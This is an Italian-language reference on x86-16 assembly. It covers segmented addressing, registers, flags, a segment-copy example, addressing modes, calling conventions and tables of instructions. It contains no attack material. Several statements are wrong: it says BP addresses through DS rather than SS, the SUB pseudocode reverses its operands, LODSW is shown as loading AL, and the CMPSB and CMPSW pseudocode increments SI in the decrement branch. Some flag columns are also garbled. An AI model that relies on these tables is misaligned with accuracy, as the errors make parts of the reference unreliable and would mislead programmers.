I segmenti possono collocarsi in memoria con una certa libertà, pertanto possono sovrapporsi, parzialmente o completamente. In pratica la memoria viene suddivisa idealmente in ***paragrafi*** (o *click*) da 16 byte ciascuno e i segmenti possono iniziare soltanto all'inizio di un paragrafo. Per garantire che ciò avvenga in questo modo, i registri che sono dedicati a rappresentare l'inizio di un segmento, riportano il numero del paragrafo, ovvero l'indirizzo assoluto di memoria diviso per 16. Questa divisione si ottiene con un semplice scorrimento a destra di quattro bit; pertanto, per ritrovare il valore originale è sufficiente fare lo scorrimento opposto, verso sinistra. Per esempio, il valore $159D_{16}$ contenuto in un registro di segmento, individua in realtà l'indirizzo $159D0_{16}$, pari a 88528_{10}.

Come accennato, per individuare una certa posizione in memoria si usa sempre un registro di segmento e un altro valore che rappresenta lo scostamento a partire dall'inizio del segmento a cui si riferisce il contesto. Per esempio, se il registro di segmento contiene il valore $159D_{16}$ e si specifica lo scostamento $FFFE_{16}$, si sta in pratica facendo riferimento alla posizione di memoria $159D0_{16}+FFFE_{16}$, pari a $259CE_{16}$, ovvero 154062_{10}.

Stante questa organizzazione, per indicare in un documento un certo indirizzo di memoria, si può usare la definizione di «indirizzo efficace» e si può scrivere un solo numero, come per esempio $159DF_{16}$.

Riquadro 94.1. Valori affiancati e divisi dal simbolo ':'.

Nella programmazione a 16 bit, con i microprocessori della famiglia x86, per affiancare due valori a 16 bit si usa normalmente il segno di due punti, come per esempio ***DX***:***AX*** o $159D_{16}$:$FFFE_{16}$.
In generale, questa rappresentazione indica soltanto che si vuole fare riferimento a un numero a 32 bit, formato dall'unione delle due parti indicate, ma il significato che questo numero deve avere va interpretato in base al contesto. Per esempio, ***DX***:***AX*** potrebbe essere il risultato di una moltiplicazione, da prendere numericamente tale e quale, nel senso che il registro ***DX*** rappresenta i 16 bit più significativi; ma in un altro contesto, ***DS***:***SI*** può fare riferimento a un indirizzo che si interpreta come ***DS***·16+***SI***. Nello stesso modo, il numero rappresentato come 1000_{16}:$59DF_{16}$, potrebbe indicare precisamente il valore $100059DF_{16}$, oppure, se si tratta di un indirizzo, composto da segmento e scostamento, andrebbe inteso come $159DF_{16}$.

94.1.2 Registri

I registri dei microprocessori x86-16 sono schematizzati dalla figura successiva. I registri per uso generale, denominati ***AX***, ***BX***, ***CX*** e ***DX***, possono essere utilizzati nella loro interezza o divisi in byte; per esempio si può intervenire nel byte meno significativo di ***AX*** con il nome ***AL*** (*low*) e si può accedere al byte più significativo con il nome ***AH*** (*high*).

Figura 94.2. I registri dei microprocessori x86-16.

I registri di segmento sono: ***CS***, ***DS***, ***SS*** e ***ES***. Il segmento individuato dal registro ***CS*** (*code segment*) è quello in cui si svolge il codice in corso di esecuzione, e il puntatore all'istruzione da eseguire, nell'ambito del segmento codice, è contenuta nel registro ***IP*** (*instruction pointer*, ma noto anche come *program counter* e indicato a volte con la sigla «PC»). Il segmento individuato dal registro ***SS*** (***stack segment***) è quello in cui si trova la pila dei dati, ovvero quella struttura che consente il trasferimento delle variabili alle funzioni o la creazione di variabili locali. L'indice della pila è costituito dal registro ***SP*** (*stack pointer*) e l'indirizzo della base della pila, nell'ambito della funzione in corso di esecuzione, viene annotato convenzionalmente nel registro ***BP*** (*base pointer*). Il segmento individuato dal registro ***DS*** (***data segment***) è quello in cui si trovano i dati correnti, mentre il segmento del registro ***ES*** (***extra segment***) riguarda

un'area dati alternativa, utile soprattutto quando si vogliono fare dei trasferimenti di dati tra segmenti differenti.

Convenzionalmente è stato adottato il registro ***BP*** per annotare il riferimento all'inizio della pila di una funzione, per poter accedere agli argomenti attuali o alle variabili locali con un riferimento relativo a tale puntatore. Tuttavia, va osservato che il segmento a cui si riferisce il registro ***BP*** è quello dei dati, ovvero ***DS***, per cui, quando si utilizza ***BP*** per accedere al contenuto della pila, è indispensabile che ***DS*** sia uguale a ***SS***.

Il registro ***FLAGS*** raccoglie gli indicatori disponibili, come descritto nella tabella successiva. In alcuni documenti, tale registro è chiamato *program status word* e abbreviato come «PSW».

Tabella 94.3. Gli indicatori principali contenuti nel registro ***FLAGS***.

Indicatore (*flag*)	Bit	Descrizione
C *carry*	0	È l'indicatore del riporto per le operazioni con valori senza segno. In particolare si attiva dopo una somma che genera un riporto e dopo una sottrazione che richiede il prestito di una cifra (in tal caso si chiama anche *borrow*).
1	1	Riservato.
P *parity*	2	Si attiva quando l'ultima operazione produce un risultato i cui otto bit meno significativi contengono una quantità pari di cifre a uno.
0	3	Riservato.
A *auxiliary carry*	4	È un tipo di riporto ausiliario.
0	5	Riservato.
Z *zero*	6	Viene impostato dopo un'operazione che dà come risultato il valore zero.
S *sign*	7	Riproduce il bit più significativo di un valore, dopo un'operazione. Se il valore è da intendersi con segno, l'indicatore serve a riprodurre il segno stesso.
T *trace*	8	Se è attivo, fa in modo che il microprocessore possa funzionare un passo alla volta.
I *interrupt*	9	Se è attivo, le interruzioni hardware sono abilitate, diversamente risultano bloccate.
D *direction*	10	Si usa per automatizzare le operazioni relative alle stringhe. Se è a zero, indica che la scansione della memoria deve procedere incrementando gli indici; se invece è pari a uno, la scansione deve proseguire decrementando gli indici.
O *overflow*	11	È l'indicatore di traboccamento per le operazioni che riguardano valori con segno.
0	12	Riservato.
0	13	Riservato.
0	14	Riservato.
0	15	Riservato.

I registri che sono definiti «per usi generali», hanno comunque un ruolo predominante. Tra questi si includono anche ***SI*** e ***DI***:

Registro	Definizione	Scopo prevalente
AX	accumulatore	Usato soprattutto nei calcoli e per l'input e output. Nelle convenzioni di chiamata comuni, si usa ***AX*** per restituire un valore attraverso una funzione.
BX	base	Viene usato particolarmente come indice da sommare ad altri, per individuare una posizione in memoria.
CX	contatore	Usato come contatore nei cicli.
DX	dati	Si affianca a ***AX***, soprattutto nelle divisioni e moltiplicazioni.
SI	*source index*	Usato prevalentemente come indice dell'origine, nell'ambito di un segmento dati (***DS*** o ***ES***).
DI	*destination index*	Usato prevalentemente come indice della destinazione, nell'ambito di un segmento dati (***DS*** o ***ES***).

94.1.3 Trasferimento di dati tra due segmenti differenti

Il trasferimento di dati tra segmenti di memoria differenti richiede l'uso di istruzioni apposite, con cui il registro ***DS*** individua il segmento di origine e ***ES*** quello di destinazione. Viene mostrato un esempio, con una porzione di codice, che ha lo scopo di copiare un intero segmento, dall'indirizzo efficace 10000_{16}, a $1FFFF_{16}$ incluso, a partire dall'indirizzo 30000_{16}, fino a $3FFFF_{16}$. La notazione è quella «Intel».

```
cld             ; Azzera l'indicatore di direzione.
mov   ax, 3000h ; Assegna a ES il segmento di destinazione,
mov   es, ax    ; attraverso AX.
mov   ax, 1000h ; Assegna a DS il segmento di origine,
mov   ds, ax    ; attraverso AX.
mov   cx, 8000h ; Imposta il contatore a 32768.
mov   si, 0h    ; Indice iniziale nel segmento di origine.
mov   di, 0h    ; Indice iniziale nel segmento di destinazione.
rep             ; Ripete l'istruzione successiva finché CX != 0;
                ; riducendo CX di una unità a ogni ciclo.
movsw           ; Copia 16 bit da DS:SI a ES:DI, incrementando
                ; di due unità sia SI, sia DI (in base all'indicatore
                ; di direzione).
```

Va osservato che ***CX*** riceve inizialmente un valore pari a metà della dimensione di un segmento, perché la copia avviene a coppie di byte, ovvero a interi di 16 bit. Si può notare anche che i registri di segmento coinvolti ricevono il valore attraverso la mediazione di ***AX***, perché non gli si può assegnare direttamente un valore immediato.

94.1.4 Riferimenti a indirizzi di memoria con i registri

Per indicare un indirizzo di memoria, generalmente si può utilizzare una costante numerica pura e semplice, ovvero un valore immediato, ma spesso è possibile combinare il valore di uno o più registri. Nella notazione Intel, per specificare che il risultato di un'espressione rappresenta un indirizzo di memoria, la si racchiude tra parentesi quadre. Per esempio, '`-2[DX+SI]`' fa riferimento all'indirizzo di memoria efficace che si ottiene come *DS*·16+*DX*+*SI*−2 (*DS* partecipa in quanto si fa riferimento a un segmento e può trattarsi solo di quello dei dati). Le combinazioni ammissibili sono rappresentate dal modello seguente, tenendo conto che qui le parentesi quadre indicano un blocco opzionale:

```
[costante] + [BX | BP] + [SI | DI]
```

Lo specchietto successivo riepiloga tutte le combinazioni ammissibili, dove la sigla ***imm*** rappresenta un valore immediato (una costante numerica letterale) che può essere sia positivo, sia negativo:

Notazione	Indirizzo efficace corrispondente	Notazione	Indirizzo efficace corrispondente
`[SI]`	*DS*·16+*SI*	*imm*`[SI]`	*DS*·16+*SI*+*imm*
`[DI]`	*DS*·16+*DI*	*imm*`[DI]`	*DS*·16+*DI*+*imm*
`[BP]`	*DS*·16+*BP*	*imm*`[BP]`	*DS*·16+*BP*+*imm*
`[BX]`	*DS*·16+*BX*	*imm*`[BX]`	*DS*·16+*BX*+*imm*
`[BX+SI]`	*DS*·16+*BX*+*SI*	*imm*`[BX+SI]`	*DS*·16+*BX*+*SI*+*imm*
`[BX+DI]`	*DS*·16+*BX*+*DI*	*imm*`[BX+DI]`	*DS*·16+*BX*+*DI*+*imm*
`[BP+SI]`	*DS*·16+*BP*+*SI*	*imm*`[BP+SI]`	*DS*·16+*BP*+*SI*+*imm*
`[BP+DI]`	*DS*·16+*BP*+*DI*	*imm*`[BP+DI]`	*DS*·16+*BP*+*DI*+*imm*

Si osservi che la costante letterale che precede il gruppo tra parentesi quadre può essere sostituita da un nome simbolico, con il quale si indica una variabile in memoria (preferibilmente un array). In tal modo, la notazione richiama quella degli array, come si fa con il linguaggio C. Per esempio, '`x[SI]`', individua così il byte *SI*-esimo a partire dall'indirizzo a cui si riferisce ***x***.

94.1.5 Convenzioni di chiamata

Le convenzioni di chiamata adottate per i microprocessori x86-16 sono le stesse di quelle usate per x86-32:

- si inseriscono nella pila dei dati gli argomenti della chiamata, in ordine inverso, in modo che l'ultimo inserimento sia quello del primo parametro della funzione;

```
push …
```

- si esegue la chiamata;

```
call …
```

- all'interno della funzione si salva il valore di ***BP*** nella pila, si assegna a ***BP*** l'indice attuale della pila (in modo da poter usare ***BP*** come riferimento per raggiungere nella pila gli argomenti della chiamata e le variabili locali) e si allocano nella stessa le variabili locali (variabili automatiche);

```
enter …
```

- si salvano nella pila i registri che la funzione va a modificare, quindi si procede con il lavoro della funzione;

```
pusha
```

- il primo argomento della chiamata si raggiunge con '**+4[*BP*]**', il secondo con '**+6[*BP*]**',... la prima variabile locale si raggiunge con '**-2[*BP*]**', la seconda con '**-4[*BP*]**',...

Al termine della funzione si fa in modo di ripristinare la situazione precedente alla chiamata, restituendo eventualmente un valore attraverso il registro ***AX*** o eventualmente la coppia ***DX***:***AX***;

- vengono ripristinati i registri salvati all'inizio della funzione;

```
popa
```

- se la funzione deve restituire un valore viene, questo viene assegnato a ***AX***, oppure ***DX***:***AX*** (se questo valore è da 32 bit);

```
mov ax, -m[bp]
mov dx, -n[bp]
```

- viene ridotta la pila riportandone l'indice al valore di ***BP*** e recuperando il valore precedente di ***BP***;

```
leave
```

- si ritorna all'indirizzo successivo alla chiamata;

```
ret
```

- si espellono gli argomenti della chiamata.

```
pop …
```

94.1.6 Sintesi delle istruzioni x86-16

Nelle tabelle successive vengono annotate le istruzioni che possono essere utilizzate con i microprocessori x86-16, raggruppate secondo il contesto a cui appartengono. Sono però escluse le istruzioni '**AA*x***' e '**DA*x***', relative alla gestione dei numeri in formato BCD (*Binary coded decimal*).

L'ordine in cui sono specificati gli operandi è quello «Intel», ovvero appare prima la destinazione e poi l'origine. Le sigle usate per definire i tipi di operandi sono: ***reg*** per «registro»; ***mem*** per «memoria»; ***imm*** per «immediato» (costante numerica).

Quando appare la pseudocodifica che deve spiegare l'effetto di un'istruzione, i riferimenti agli indirizzi in memoria vengono fatti in modo inusuale. Per esempio, ***(DS·16+SI)*** indica un indirizzo in memoria, individuato dal registro ***SI*** che si riferisce al segmento annotato in ***DS***. In modo analogo, ****(DS·16+SI)*** individua il contenuto della memoria al tale indirizzo, mentre ***&nome*** rappresenta l'indirizzo in memoria del simbolo ***nome***.

Nella colonna degli indicatori appare: il simbolo «#» per annotare che l'indicatore relativo può essere modificato dall'istruzione; il simbolo «t» per annotare che lo stato precedente dell'indicatore viene considerato dall'istruzione; zero o uno se l'indicatore viene impostato in un certo modo; il simbolo «?» se l'effetto dell'istruzione sull'indicatore è indefinito.

Tabella 94.16. Assegnamenti, scambi, conversioni e istruzione nulla.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`NOP`		*not operate* Istruzione nulla.	`c p a z s t i d o` `. . . . . . . . .`
`MOV`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	*move* Copia il valore dell'origine nella destinazione. Consente la copia da e verso i registri di segmento, ma per assegnare un valore a un registro di segmento occorre eseguire un passaggio intermedio attraverso un registro per usi generali. Origine e destinazione devono avere la stessa quantità di bit. ***dst*** := ***org***	`c p a z s t i d o` `. . . . . . . . .`
`LEA`	***reg***, ***mem***	*load effective address* Mette nel registro l'indirizzo della memoria, inteso come scostamento dall'inizio del segmento dati. ***dst*** := &***org***	`c p a z s t i d o` `. . . . . . . . .`
`LDS`	***reg***, ***mem***	*load pointer using DS* Carica dalla memoria un valore a 32 bit, diviso in due blocchi da 16 bit, mettendo il primo blocco nel registro indicato e mettendo il secondo nel registro ***DS*** (segmento dati). ***DS*** : ***dst*** := ***org***	`c p a z s t i d o` `. . . . . . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`LES`	***reg***, ***mem***	*load pointer using ES* Carica dalla memoria un valore a 32 bit, diviso in due blocchi da 16 bit, mettendo il primo blocco nel registro indicato e mettendo il secondo nel registro ***ES***. ***ES*** : ***dst*** := ***org***	`c p a z s t i d o` `. . . . . . . . .`
`XCHG`	***reg***, ***reg*** ***reg***, ***mem*** ***mem***, ***reg***	*exchange data* Scambia i valori. ***dst*** :==: ***org***	`c p a z s t i d o` `. . . . . . . . .`
`CBW`		*convert byte to word* Converte un intero con segno, della dimensione di 8 bit, contenuto in ***AL***, in modo da occupare tutto ***AX*** (da 8 bit a 16 bit). L'espansione tiene conto del segno. ***AX*** := ***AL***	`c p a z s t i d o` `. . . . . . . . .`

`CWD`		*convert word to double word*
		Converte un intero con segno, della dimensione di 16 bit, contenuto in ***AX***, in modo da estendersi anche in ***DX***, tenendo conto del segno.
		`IF` ***AX*** `>= 0`
		`THEN`
		    DX `:= 0`
		`ELSE`
		    DX `:=` $FFFF_{16}$
			`c p a z s t i d o`
			`. . . . . . . . .`

`LAHF`		*load flags into AH* Carica i primi otto indicatori in ***AH***, escludendo quelli riservati. AH_{bit0} := ***c*** AH_{bit1} := 1 AH_{bit2} := ***p*** AH_{bit3} := 0 AH_{bit4} := ***a*** AH_{bit5} := 0 AH_{bit6} := ***z*** AH_{bit7} := ***s***	`c p a z s t i d o` `# # # # # # # # #`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`SAHF`		*store AH into flags* Modifica il valore dei primi otto indicatori, esclusi i bit 1, 3 e 5 (il secondo, il quarto e il sesto, che sono riservati e a loro non si attribuisce un significato particolare), scrivendoci sopra il contenuto di ***AH***. ***c*** :=***AH***`bit0` ***p*** :=***AH***`bit2` ***a*** :=***AH***`bit4` ***z*** :=***AH***`bit6` ***s*** :=***AH***`bit7`	`c p a z s t i d o` `# # # # # # # # #`

Tabella 94.17. Movimento di dati.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

`LODSB`		*load string byte*
		Dall'indirizzo a cui punta la coppia ***DS:SI*** (***DS·16+SI***), viene letto un byte e copiato in ***AL***. Se l'indicatore di direzione è pari a zero, ***SI*** viene incrementato di una unità, altrimenti viene decrementato di una unità.
		AL :=*(***DS·16+SI***)
		`IF` ***d***==0
		`THEN`
		    SI++
		`ELSE`
		    SI--
			`c p a z s t i d o`
			`. . . . . . . t .`
			`. . . . . . . . .`

`LODSW`		*load string word*
		Dall'indirizzo a cui punta la coppia ***DS:SI*** (***DS·16+SI***), viene letto un blocco da 16 bit e copiato in ***AX***. Se l'indicatore di direzione è pari a zero, ***SI*** viene incrementato di due unità, altrimenti viene decrementato di due unità.
		AL :=*(***DS·16+SI***)
		`IF` ***d***==0
		`THEN`
		    SI :+=2
		`ELSE`
		    SI :-=2
			`c p a z s t i d o`
			`. . . . . . . t .`
			`. . . . . . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

`STOSB`		*store string byte*
		All'indirizzo a cui punta la coppia ***ES:DI*** (***ES·16+DI***), viene scritto il valore contenuto in ***AL***, aggiornando ***DI*** in base al contenuto dell'indicatore di direzione.
		****(ES·16+DI)*** :=***AL***
		`IF` ***d***==0
		`THEN`
		  DI++
		`ELSE`
		  DI−−
			`c p a z s t i d o`
			`. . . . . . . t .`
			`. . . . . . . . .`

`STOSW`		*store string word*
		All'indirizzo a cui punta la coppia ***ES:DI*** (***ES·16+DI***), viene scritto il valore contenuto in ***AX***, aggiornando ***DI*** in base al contenuto dell'indicatore di direzione.
		****(ES·16+DI)*** :=***AX***
		`IF` ***d***==0
		`THEN`
		  DI :+=2
		`ELSE`
		  DI :−=2
			`c p a z s t i d o`
			`. . . . . . . t .`
			`. . . . . . . . .`

`MOVSB`		*move string byte*
		Copia un byte, dall'indirizzo a cui punta la coppia ***DS:SI*** (***DS·16+SI***), all'indirizzo a cui punta la coppia ***ES:DI*** (***ES·16+DI***), aggiornando ***SI*** e ***DI*** in base al valore dell'indicatore di direzione.
		****(ES·16+DI)*** :=****(DS·16+SI)***
		`IF` ***d***==0
		`THEN`
		  SI++
		  DI++
		`ELSE`
		  SI−−
		  DI−−
			`c p a z s t i d o`
			`. . . . . . . t .`
			`. . . . . . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

MOVSW		*move string word*
		Copia un blocco di 16 bit, dall'indirizzo a cui punta la coppia ***DS:SI*** (***DS·16+SI***), all'indirizzo a cui punta la coppia ***ES:DI*** (***ES·16+DI***), aggiornando ***SI*** e ***DI*** in base al valore dell'indicatore di direzione.
		****(ES·16+DI)*** :=****(DS·16+SI)***
		IF ***d***==0
		THEN
		    SI :+=2
		    DI :+=2
		ELSE
		    SI :-=2
		    DI :-=2
			c p a z s t i d o
			. . . . t .
			. . . .

REP		*repeat*
		Ripete l'istruzione successiva (che può essere una tra: '**`LODSB`**', '**`LODSW`**', '**`STOSB`**', '**`STOSW`**', '**`MOVSB`**', '**`MOVSW`**'), per ***CX*** volte.
		IF ***CX*** !=0
		THEN
		    istruzione successiva
		    CX--
		ELSE
		    break
			c p a z s t i d o
			. . . .

XLATB		*translate table to byte* Assegna a ***AL*** il valore che si può raggiungere all'indirizzo composto da ***DS***:***BX+AL*** (***DS·16+BX+AL***), dove ***AL*** va inteso come valore senza segno. ***AL*** :=****(DS·16+BX+AL)***	c p a z s t i d o . . . .

Tabella 94.18. Confronti con la memoria.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

SCASB		*compare string byte*
		Confronta il contenuto di ***AL*** con il valore a cui punta la coppia ***ES:DI*** (***ES·16+DI***), aggiornando di conseguenza gli indicatori e anche il registro ***DI*** in base all'indicatore di direzione.
		****(ES·16+DI)−AL***
		IF ***d***==0
		THEN
		    DI++
		ELSE
		    DI--
			c p a z s t i d o
			. . . . t .
			# # # # # . . . #

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

`SCASW`		*compare string word*
		Confronta il contenuto di ***AX*** con il valore a cui punta la coppia ***ES:DI*** (***ES·16+DI***), aggiornando di conseguenza gli indicatori e anche il registro ***DI*** in base all'indicatore di direzione.
		****(ES·16+DI)−AX***
		`IF` ***d***`==0`
		`THEN`
		    DI `:+=2`
		`ELSE`
		    DI `:-=2`
			`c p a z s t i d o`
			`. . . . . . . t .`
			`# # # # # . . . #`

`CMPSB`		*compare string byte in memory*
		Confronta il byte a cui punta la coppia ***ES:DI*** (***ES·16+DI***), con quello a cui punta la coppia ***DS:SI*** (***DS·16+SI***), aggiornando di conseguenza gli indicatori e anche i registri ***DI*** e ***SI*** in base all'indicatore di direzione.
		****(DS·16+SI)−*(ES·16+DI)***
		`IF` ***d***`==0`
		`THEN`
		    SI`++`
		    DI`++`
		`ELSE`
		    SI`++`
		    DI`--`
			`c p a z s t i d o`
			`. . . . . . . t .`
			`# # # # # . . . #`

`CMPSW`		*compare string word in memory*
		Confronta il blocco da 16 bit a cui punta la coppia ***ES:DI*** (***ES·16+DI***), con quello a cui punta la coppia ***DS:SI*** (***DS·16+SI***), aggiornando di conseguenza gli indicatori e anche i registri ***DI*** e ***SI*** in base all'indicatore di direzione.
		****(DS·16+SI)−*(ES·16+DI)***
		`IF` ***d***`==0`
		`THEN`
		    SI`++`
		    DI`++`
		`ELSE`
		    SI`++`
		    DI`--`
			`c p a z s t i d o`
			`. . . . . . . t .`
			`# # # # # . . . #`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori

`REPE`
`REPZ`
		repeat while equal
		repeat while zero
		Ripete l'istruzione successiva (che può essere una tra: '**`SCASB`**', '**`SCASW`**', '**`CMPSB`**', '**`CMPSW`**'), fino a che l'indicatore *z* è pari a uno (rappresentante l'uguaglianza di una comparazione, ovvero che la sottrazione dà zero), fino a un massimo di ***CX*** volte.
		`IF` ***CX***`!=0`
		`THEN`
		    `istruzione successiva`
		    CX`--`
		    `IF` *z*`==1`
		    `THEN`
		        `continue`
		    `ELSE`
		        `break`
		`ELSE`
		    `break`
			`c p a z s t i d o`
			`. . . # . . . . .`

`REPNE`
`REPNZ`
		repeat while not equal
		repeat while not zero
		Ripete l'istruzione successiva (che può essere una tra: '**`SCASB`**', '**`SCASW`**', '**`CMPSB`**', '**`CMPSW`**'), fino a che l'indicatore *z* è pari a zero (rappresentante la disuguaglianza della comparazione, ovvero che la sottrazione non dà zero), fino a un massimo di ***CX*** volte.
		`IF` ***CX***`!=0`
		`THEN`
		    `istruzione successiva`
		    CX`--`
		    `IF` *z*`==0`
		    `THEN`
		        `continue`
		    `ELSE`
		        `break`
		`ELSE`
		    `break`
			`c p a z s t i d o`
			`. . . # . . . . .`

Tabella 94.19. Operazioni aritmetiche.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`NEG`	***reg*** ***mem***	*negation* Inverte il segno di un numero, attraverso il complemento a due. ***operand*** := −***operand***	`c p a z s t i d o` `# # · # # · · · #`
`ADD`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	*addition* Somma di interi, con o senza segno, ignorando il riporto precedente. Se i valori si intendono con segno, è importante l'esito dell'indicatore di traboccamento (*overflow*), se invece i valori sono da intendersi senza segno, è importante l'esito dell'indicatore di riporto (*carry*). ***dst*** := ***org*** + ***dst***	`c p a z s t i d o` `# # · # # · · · #`
`SUB`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	*subtraction* Sottrazione di interi con o senza segno, ignorando il riporto precedente. ***dst*** := ***org*** − ***dst***	`c p a z s t i d o` `# # · # # · · · #`

`ADC`	***reg***, ***reg***
	reg, ***mem***
	reg, ***imm***
	mem, ***reg***
	mem, ***imm***
		addition with carry
		Somma di interi, con o senza segno, aggiungendo anche il riporto precedente (l'indicatore *carry*).
		dst := ***org*** + ***dst*** + ***c***
			`c p a z s t i d o`
			`t · · · · · · · ·`
			`# # · # # · · · #`

`SBB`	***reg***, ***reg***
	reg, ***mem***
	reg, ***imm***
	mem, ***reg***
	mem, ***imm***
		subtraction with borrow
		Sottrazione di interi, con o senza segno, tenendo conto del «prestito» precedente (l'indicatore *carry*).
		dst := ***org*** + ***dst*** − ***c***
			`c p a z s t i d o`
			`t · · · · · · · ·`
			`# # · # # · · · #`

`INC`	***reg*** ***mem***	*increment* Incrementa di una unità un intero. ***operand***++	`c p a z s t i d o` `· # · # # · · · #`
`DEC`	***reg*** ***mem***	*decrement* Decrementa di una unità un valore intero. ***operand***−−	`c p a z s t i d o` `· # · # # · · · #`
`MUL`	***reg*** ***mem***	*multiply* Moltiplicazione intera senza segno. L'operando è il moltiplicatore, mentre il moltiplicando è costituito da registri prestabiliti. ***AX*** := ***AL********operand*** ***DX:AX*** := ***AX********operand***	`c p a z s t i d o` `# ? · ? ? · · · #`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`DIV`	***reg*** ***mem***	*division* Divisione intera senza segno. L'operando è il divisore, mentre il dividendo è costituito da registri prestabiliti. ***AL* := *AX* / *operand*** ***AH* := *AX*`%`*operand*** ***AX* := *(DX:AX)* / *operand*** ***DX* := *(DX:AX)*`%`*operand***	`c p a z s t i d o` `? ? · ? ? · · · ?`
`IMUL`	***reg*** ***mem***	*signed multiply* Moltiplicazione intera con segno. In questo caso l'operando è il moltiplicatore, mentre il moltiplicando è costituito da registri prestabiliti. ***AX* := *AL*⋆*operand*** ***(DX:AX)* := *AX*⋆*operand***	`c p a z s t i d o` `# ? · ? ? · · · #`
`IDIV`	***reg*** ***mem***	*signed division* Divisione intera con segno. L'operando è il divisore, mentre il dividendo è costituito da registri prestabiliti. ***AL* := *AX* / *operand*** ***AH* := *AX*`%`*operand*** ***AX* := *(DX:AX)* / *operand*** ***DX* := *(DX:AX)*`%`*operand***	`c p a z s t i d o` `? ? · ? ? · · · ?`

Tabella 94.20. Operazioni logiche.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`NOT`	***reg*** ***mem***	NOT di tutti i bit dell'operando. ***dst* :=** `NOT` ***dst***	`c p a z s t i d o` `· · · · · · · · ·`

`AND`
`OR`
`XOR`
	reg, ***reg***
	reg, ***mem***
	reg, ***imm***
	mem, ***reg***
	mem, ***imm***
		AND, OR, o XOR, tra tutti i bit dei due operandi.
		dst* := *org `AND` ***dst***
		dst* := *org `OR` ***dst***
		dst* := *org `XOR` ***dst***
			`c p a z s t i d o`
			`0 # · # # · · · 0`

Tabella 94.21. Scorrimenti e rotazioni.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`SHL` `SHR`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	*shift left* *shift right* Fa scorrere i bit, rispettivamente verso sinistra o verso destra (l'ultima cifra perduta finisce nell'indicatore del riporto). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p a z s t i d o` `# · · · · · · · #`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`SAL` `SAR`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	*shift arithmetically left* *shift arithmetically right* Fa scorrere i bit, rispettivamente verso sinistra o verso destra (l'ultima cifra perduta finisce nell'indicatore del riporto), mantenendo il segno originale (logicamente '**`SAL`**' è identico a '**`SHL`**'). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p a z s t i d o` `# . . . . . . . .`

`RCL`
`RCR`
	reg, 1
	mem, 1
	reg
	mem
		rotate left with carry
		rotate right with carry
		Ruota i bit, rispettivamente verso sinistra o verso destra, utilizzando anche l'indicatore di riporto (*carry*). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.
			`c p a z s t i d o`
			`t . . . . . . . .`
			`# . . . . . . . #`

`ROL` `ROR`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	*rotate left* *rotate right* Ruota i bit, rispettivamente verso sinistra o verso destra. Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p a z s t i d o` `# . . . . . . . #`

Tabella 94.22. Chiamate e gestione della pila.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`CALL`	***reg*** ***mem*** ***imm***	Inserisce nella pila l'indirizzo dell'istruzione successiva e salta all'indirizzo indicato, che si riferisce allo scostamento a partire dall'inizio del segmento codice (***CS***). Pertanto, l'indirizzo a cui ci si riferisce è a 16 bit. `push` ***indirizzo_successivo*** ***IP*** := ***operand***	`c p a z s t i d o` `. . . . . . . . .`
`CALL FAR`	***imm***:***imm***	*call procedure* Inserisce nella pila il valore di ***CS*** e poi l'indirizzo dell'istruzione successiva (***IP*** dell'istruzione successiva) e salta all'indirizzo indicato. L'indirizzo deve essere di quattro byte (32 bit), in quanto deve specificare anche il segmento codice da raggiungere. `push` ***CS*** `push` ***indirizzo_successivo*** ***CS***:***IP*** := ***operand***	`c p a z s t i d o` `. . . . . . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori
`RET`		*return from call* Estrae dalla pila l'indirizzo dell'istruzione da raggiungere (***IP***) e salta a quella (serve a concludere una chiamata eseguita con '**`CALL`**'). `pop` ***IP***	`c p a z s t i d o` `. . . . . . . . .`
`RETF` `RET FAR`		*return from far call* Estrae dalla pila il valore di ***CS*** e quindi l'indirizzo dell'istruzione da raggiungere (***IP***) e salta a quella (serve a concludere una chiamata eseguita con '**`CALL FAR`**'). `pop` ***IP*** `pop` ***CS***	`c p a z s t i d o` `. . . . . . . . .`
`PUSH`	***reg*** ***mem***	*push data onto stack* Inserisce nella pila il valore (della dimensione di un registro comune). ***SP***`:-=2` `*(`***SS***`·16+`***SP***`):=`***operand***	`c p a z s t i d o` `. . . . . . . . .`
`POP`	***reg*** ***mem***	*pop data from stack* Estrae dalla pila l'ultimo valore inserito (della dimensione di un registro comune). ***operand***`:=*(`***SS***`·16+`***SP***`)` ***SP***`:+=2`	`c p a z s t i d o` `. . . . . . . . .`
